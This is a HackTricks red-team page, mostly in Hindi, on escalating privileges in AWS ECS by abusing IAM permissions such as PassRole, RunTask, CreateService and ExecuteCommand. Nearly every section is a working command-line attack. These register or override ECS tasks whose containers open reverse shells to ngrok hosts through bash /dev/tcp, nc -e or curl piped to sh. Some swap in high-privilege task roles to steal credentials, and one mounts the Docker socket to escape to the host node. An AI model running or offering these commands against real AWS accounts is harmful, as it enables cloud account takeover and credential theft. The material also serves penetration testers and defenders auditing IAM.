AWS - ECS Privesc

Reading time: 11 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

ECS

ECS के बारे में अधिक जानकारी:

AWS - ECS Enum

iam:PassRole, ecs:RegisterTaskDefinition, ecs:RunTask

ECS में iam:PassRole, ecs:RegisterTaskDefinition और ecs:RunTask अनुमतियों का दुरुपयोग करने वाला एक हमलावर नया task definition बना सकता है जिसमें एक दुष्ट container होता है जो metadata credentials चुरा लेता है और इसे चला सकता है

bash
# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--requires-compatibilities "[\"FARGATE\"]" \
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"

# Run task definition
aws ecs run-task --task-definition iam_exfiltration \
--cluster arn:aws:ecs:eu-west-1:947247140022:cluster/API \
--launch-type FARGATE \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"subnet-e282f9b8\"]}}"

# Delete task definition
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1

Potential Impact: सीधा privesc एक अलग ECS role तक।

iam:PassRole,ecs:RunTask

ऐसा attacker जिसके पास iam:PassRole और ecs:RunTask permissions हों, वह modified execution role, task role और container के command values के साथ एक नया ECS task start कर सकता है। ecs run-task CLI command में --overrides flag होता है जो runtime पर executionRoleArn, taskRoleArn और container के command को task definition को छुए बिना बदलने की अनुमति देता है।

taskRoleArn और executionRoleArn के लिए निर्दिष्ट IAM roles की trust policy में ecs-tasks.amazonaws.com द्वारा उन्हें assume करने की अनुमति/भरोसा होना चाहिए।

साथ ही, attacker को निम्न जानकारियाँ पता होनी चाहिए:

  • ECS cluster name
  • VPC Subnet
  • Security group (If no security group is specified the default one will be used)
  • Task Definition Name and revision
  • Name of the Container
bash
aws ecs run-task \
--cluster <cluster-name> \
--launch-type FARGATE \
--network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" \
--task-definition <task-definition:revision> \
--overrides '
{
"taskRoleArn": "arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
"containerOverrides": [
{
"name": <container-name>,
"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"]
}
]
}'

ऊपर दिए गए कोड स्निपेट में attacker केवल taskRoleArn मान को ओवरराइड करता है। हालांकि, attacker के पास कमांड में निर्दिष्ट taskRoleArn और task definition में निर्दिष्ट executionRoleArn पर iam:PassRole permission होना चाहिए ताकि attack संभव हो सके।

यदि attacker द्वारा पास की जा सकने वाली IAM role के पास ECR image को pull करने और ECS task को start करने के लिए पर्याप्त privileges हैं (ecr:BatchCheckLayerAvailability, ecr:GetDownloadUrlForLayer,ecr:BatchGetImage,ecr:GetAuthorizationToken) तो attacker ecs run-task command में दोनों executionRoleArn और taskRoleArn के लिए वही IAM role निर्दिष्ट कर सकता है।

sh
aws ecs run-task --cluster <cluster-name> --launch-type FARGATE --network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" --task-definition <task-definition:revision> --overrides '
{
"taskRoleArn": "arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
"executionRoleArn":"arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
"containerOverrides": [
{
"name": "<container-name>",
"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"]
}
]
}'

संभावित प्रभाव: सीधा privesc किसी भी ECS task role पर।

iam:PassRole, ecs:RegisterTaskDefinition, ecs:StartTask

पिछले उदाहरण की तरह, ECS में iam:PassRole, ecs:RegisterTaskDefinition, ecs:StartTask permissions का दुरुपयोग करने वाला attacker generate a new task definition कर सकता है जिसमें एक malicious container हो जो metadata credentials चुरा ले और run it
हालाँकि, इस मामले में, malicious task definition को चलाने के लिए एक container instance की आवश्यकता होगी।

bash
# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"

aws ecs start-task --task-definition iam_exfiltration \
--container-instances <instance_id>

# Delete task definition
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1

संभावित प्रभाव: किसी भी ECS role पर सीधा privesc।

iam:PassRole, ecs:RegisterTaskDefinition, (ecs:UpdateService|ecs:CreateService)

जैसा कि पिछले उदाहरण में, ECS में iam:PassRole, ecs:RegisterTaskDefinition, ecs:UpdateService, ecs:CreateService अनुमतियों का दुरुपयोग करने वाला attacker एक नया task definition जनरेट कर सकता है जिसमें एक malicious container होता है जो metadata credentials चुरा लेता है और इसे कम से कम 1 task के साथ एक नया service बनाकर चलाता है।

bash
# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn  "$ECS_ROLE_ARN" \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--requires-compatibilities "[\"FARGATE\"]" \
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/8.tcp.ngrok.io/12378 0>&1\\\"\"]}]"

# Run the task creating a service
aws ecs create-service --service-name exfiltration \
--task-definition iam_exfiltration \
--desired-count 1 \
--cluster "$CLUSTER_ARN" \
--launch-type FARGATE \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"$SUBNET\"]}}"

# Run the task updating a service
aws ecs update-service --cluster <CLUSTER NAME> \
--service <SERVICE NAME> \
--task-definition <NEW TASK DEFINITION NAME>

Potential Impact: किसी भी ECS role पर सीधे privesc.

iam:PassRole, (ecs:UpdateService|ecs:CreateService)

दरअसल, केवल उन अनुमतियों के साथ overrides का उपयोग करके किसी भी role के साथ कंटेनर में मनचाहे कमांड चलाना संभव है, कुछ ऐसा:

bash
aws ecs run-task \
--task-definition "<task-name>" \
--overrides '{"taskRoleArn":"<role-arn>", "containerOverrides":[{"name":"<container-name-in-task>","command":["/bin/bash","-c","curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh"]}]}' \
--cluster <cluster-name> \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"<subnet-name>\"]}}"

संभावित प्रभाव: Direct privesc to any ECS role.

ecs:RegisterTaskDefinition, (ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)

यह परिदृश्य पिछले मामलों जैसा है लेकिन बिना iam:PassRole अनुमति के।
यह अभी भी महत्वपूर्ण है क्योंकि यदि आप किसी arbitrary container को चला सकते हैं, भले ही उसमें कोई role न हो, तो आप नोड पर पहुँचने के लिए एक privileged container चला कर escape कर सकते हैं और नोड पर चल रहे EC2 IAM role और अन्य ECS containers roles को चुरा सकते हैं
आप यहाँ तक कि उन अन्य tasks को, जिन्हें आप compromise करते हैं, उनके credentials चुराने के लिए उस EC2 instance के अंदर चलने के लिए मजबूर कर सकते हैं (जैसा कि Privesc to node section में बताया गया है)।

warning

यह हमला केवल तब संभव है जब ECS cluster EC2 instances का उपयोग कर रहा हो और Fargate नहीं।

bash
printf '[
{
"name":"exfil_creds",
"image":"python:latest",
"entryPoint":["sh", "-c"],
"command":["/bin/bash -c \\\"bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/12976 0>&1\\\""],
"mountPoints": [
{
"readOnly": false,
"containerPath": "/var/run/docker.sock",
"sourceVolume": "docker-socket"
}
]
}
]' > /tmp/task.json

printf '[
{
"name": "docker-socket",
"host": {
"sourcePath": "/var/run/docker.sock"
}
}
]' > /tmp/volumes.json


aws ecs register-task-definition --family iam_exfiltration \
--cpu 256 --memory 512 \
--requires-compatibilities '["EC2"]' \
--container-definitions file:///tmp/task.json \
--volumes file:///tmp/volumes.json


aws ecs run-task --task-definition iam_exfiltration \
--cluster arn:aws:ecs:us-east-1:947247140022:cluster/ecs-takeover-ecs_takeover_cgidc6fgpq6rpg-cluster \
--launch-type EC2

# You will need to do 'apt update' and 'apt install docker.io' to install docker in the rev shell

ecs:ExecuteCommand, ecs:DescribeTasks,(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)

एक हमलावर जिसके पास ecs:ExecuteCommand, ecs:DescribeTasks हों, वह चल रहे कंटेनर के अंदर execute commands कर सकता है और उससे जुड़ा IAM role exfiltrate कर सकता है (आपको describe permissions की ज़रूरत होती है क्योंकि aws ecs execute-command चलाने के लिए यह आवश्यक है)।
हालाँकि, ऐसा करने के लिए, container instance पर ExecuteCommand agent चल रहा होना चाहिए (जो डिफ़ॉल्ट रूप से नहीं होता)।

इसलिए, हमलावर कोशिश कर सकता है:

  • हर चल रहे कंटेनर में कमांड चलाने की कोशिश करना
bash
# List enableExecuteCommand on each task
for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do
echo "Cluster $cluster"
for task in $(aws ecs list-tasks --cluster "$cluster" | jq .taskArns | grep '"' | cut -d '"' -f2); do
echo "  Task $task"
# If true, it's your lucky day
aws ecs describe-tasks --cluster "$cluster" --tasks "$task" | grep enableExecuteCommand
done
done

# Execute a shell in a container
aws ecs execute-command --interactive \
--command "sh" \
--cluster "$CLUSTER_ARN" \
--task "$TASK_ARN"
  • यदि उसके पास ecs:RunTask है, तो aws ecs run-task --enable-execute-command [...] के साथ एक task चलाएँ
  • यदि उसके पास ecs:StartTask है, तो aws ecs start-task --enable-execute-command [...] के साथ एक task चलाएँ
  • यदि उसके पास ecs:CreateService है, तो aws ecs create-service --enable-execute-command [...] के साथ एक service बनाएँ
  • यदि उसके पास ecs:UpdateService है, तो aws ecs update-service --enable-execute-command [...] के साथ एक service अपडेट करें

इन विकल्पों के उदाहरण आप पिछले ECS privesc अनुभागों में पा सकते हैं।

Potential Impact: कंटेनरों से जुड़ी किसी अलग role पर privesc।

ssm:StartSession

देखें ssm privesc पृष्ठ में कि आप इस अनुमति का दुरुपयोग करके कैसे ECS पर privesc कर सकते हैं:

AWS - SSM Privesc

iam:PassRole, ec2:RunInstances

देखें ec2 privesc पृष्ठ में कि आप इन permissions का दुरुपयोग करके कैसे ECS पर privesc कर सकते हैं:

AWS - EC2 Privesc

ecs:RegisterContainerInstance, ecs:DeregisterContainerInstance, ecs:StartTask, iam:PassRole

इन permissions वाले हमलावर संभावित रूप से किसी ECS cluster में एक EC2 instance register कर सकते हैं और उस पर tasks चला सकते हैं। इससे हमलावर को ECS tasks के context के भीतर मनमाना कोड execute करने की अनुमति मिल सकती है।

  • TODO: क्या किसी अलग AWS account से instance register करना संभव है ताकि tasks हमलावर द्वारा नियंत्रित मशीनों पर चलें??

ecs:CreateTaskSet, ecs:UpdateServicePrimaryTaskSet, ecs:DescribeTaskSets

note

TODO: परीक्षण करें

ecs:CreateTaskSet, ecs:UpdateServicePrimaryTaskSet, और ecs:DescribeTaskSets permissions वाले हमलावर मौजूदा ECS service के लिए एक दुर्भावनापूर्ण task set बना सकते हैं और primary task set को अपडेट कर सकते हैं। इससे हमलावर को service के भीतर मनमाना कोड execute करने की अनुमति मिलती है।

bash
# Register a task definition with a reverse shell
echo '{
"family": "malicious-task",
"containerDefinitions": [
{
"name": "malicious-container",
"image": "alpine",
"command": [
"sh",
"-c",
"apk add --update curl && curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | sh"
]
}
]
}' > malicious-task-definition.json

aws ecs register-task-definition --cli-input-json file://malicious-task-definition.json

# Create a malicious task set for the existing service
aws ecs create-task-set --cluster existing-cluster --service existing-service --task-definition malicious-task --network-configuration "awsvpcConfiguration={subnets=[subnet-0e2b3f6c],securityGroups=[sg-0f9a6a76],assignPublicIp=ENABLED}"

# Update the primary task set for the service
aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id

संभावित प्रभाव: प्रभावित सेवा में arbitrary code निष्पादित करना, जिससे इसकी कार्यक्षमता प्रभावित हो सकती है या exfiltrating sensitive data किया जा सकता है।

संदर्भ

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें